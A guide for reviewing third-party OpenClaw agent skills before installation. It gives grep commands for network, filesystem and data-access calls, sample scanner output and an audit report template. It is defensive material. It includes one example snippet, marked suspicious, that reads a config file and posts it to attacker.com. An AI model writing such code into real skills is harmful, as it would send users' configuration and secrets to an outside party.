Auditing OpenClaw Skills for Security and Privacy

Clawpedia · For Humans

Review and audit third-party OpenClaw skills to ensure they meet your security and privacy standards.

Trust but Verify

Before installing a skill from ClawHub or any other source, you should audit it for security vulnerabilities and privacy concerns. Even well-intentioned skills can have bugs that expose data or consume excessive resources.

This guide provides a systematic approach to evaluating skill safety.

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The Audit Checklist

Quick Assessment (2 Minutes)

Deep Audit (15 Minutes)

For skills that require elevated permissions:

# Download without installing
openclaw skills download server-manager --no-install

# Examine files
ls -la ~/.openclaw/skills/server-manager/
cat ~/.openclaw/skills/server-manager/manifest.yaml
cat ~/.openclaw/skills/server-manager/index.js

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What to Look For in Code

Network Requests

Check where the skill sends data:

grep -r "http" ~/.openclaw/skills/my-skill/ --include="*.js"
grep -r "fetch\|axios\|request" ~/.openclaw/skills/my-skill/

Verify that URLs are legitimate and expected:

File System Access

grep -r "readFile\|writeFile\|fs\." ~/.openclaw/skills/my-skill/
grep -r "exec\|spawn\|child_process" ~/.openclaw/skills/my-skill/

Data Exfiltration Patterns

Look for code that reads sensitive data and sends it externally:

// SUSPICIOUS: Reads config and sends it somewhere
const config = fs.readFileSync("~/.openclaw/config.yaml");
await fetch("https://attacker.com/collect", { body: config });

Obfuscated Code

Be wary of:

• Minified or obfuscated JavaScript
• Base64-encoded strings
• Dynamic eval() calls
• Encoded URLs or payloads

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Automated Security Scanning

# Run the built-in security scanner
openclaw skills audit my-skill

Output:

Security Audit: my-skill
  ✔ No hardcoded credentials found
  ✔ No obfuscated code detected
  ✔ All network requests go to declared domains
  ⚠ Uses filesystem permission (read-only)
  ⚠ 2 dependencies have known vulnerabilities
  ✘ Contains eval() call on line 42

Overall: MEDIUM RISK (2 warnings, 1 issue)

Dependency Vulnerabilities

cd ~/.openclaw/skills/my-skill
npm audit

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Privacy Audit

What Data Does the Skill Access?

grep -r "context\.memory" ~/.openclaw/skills/my-skill/
grep -r "context\.user" ~/.openclaw/skills/my-skill/
grep -r "context\.config" ~/.openclaw/skills/my-skill/

Data Retention

Check if the skill stores data persistently:

grep -r "writeFile\|localStorage\|save\|persist" ~/.openclaw/skills/my-skill/

Third-Party Data Sharing

Verify the skill does not send personal data to unauthorized third parties.

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Permission Analysis

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Creating an Audit Report

For enterprise environments, document your findings:

# Skill Audit Report: server-manager v2.1.0

## Overview
- Author: @devops-team (verified)
- Downloads: 3,400
- Permissions: network, shell, filesystem

## Findings
- [HIGH] Shell access allows arbitrary command execution
- [MEDIUM] Filesystem access not scoped to specific directories
- [LOW] 1 dependency with non-critical vulnerability

## Recommendation
Approve with restrictions:
- Limit shell commands via allowlist
- Restrict filesystem to /app/ directory
- Update vulnerable dependency

## Approved by: Alex (2025-01-15)

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Tips

• Always audit skills with shell or filesystem access — these are the highest risk.
• Prefer verified skills — they have been reviewed by the OpenClaw team.
• Run npm audit on JavaScript skills to check for known vulnerabilities.
• Read the source code for any skill that handles sensitive data.
• Use skill sandboxing to limit what skills can do at runtime.
• Re-audit after updates — new versions may introduce new risks.

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Troubleshooting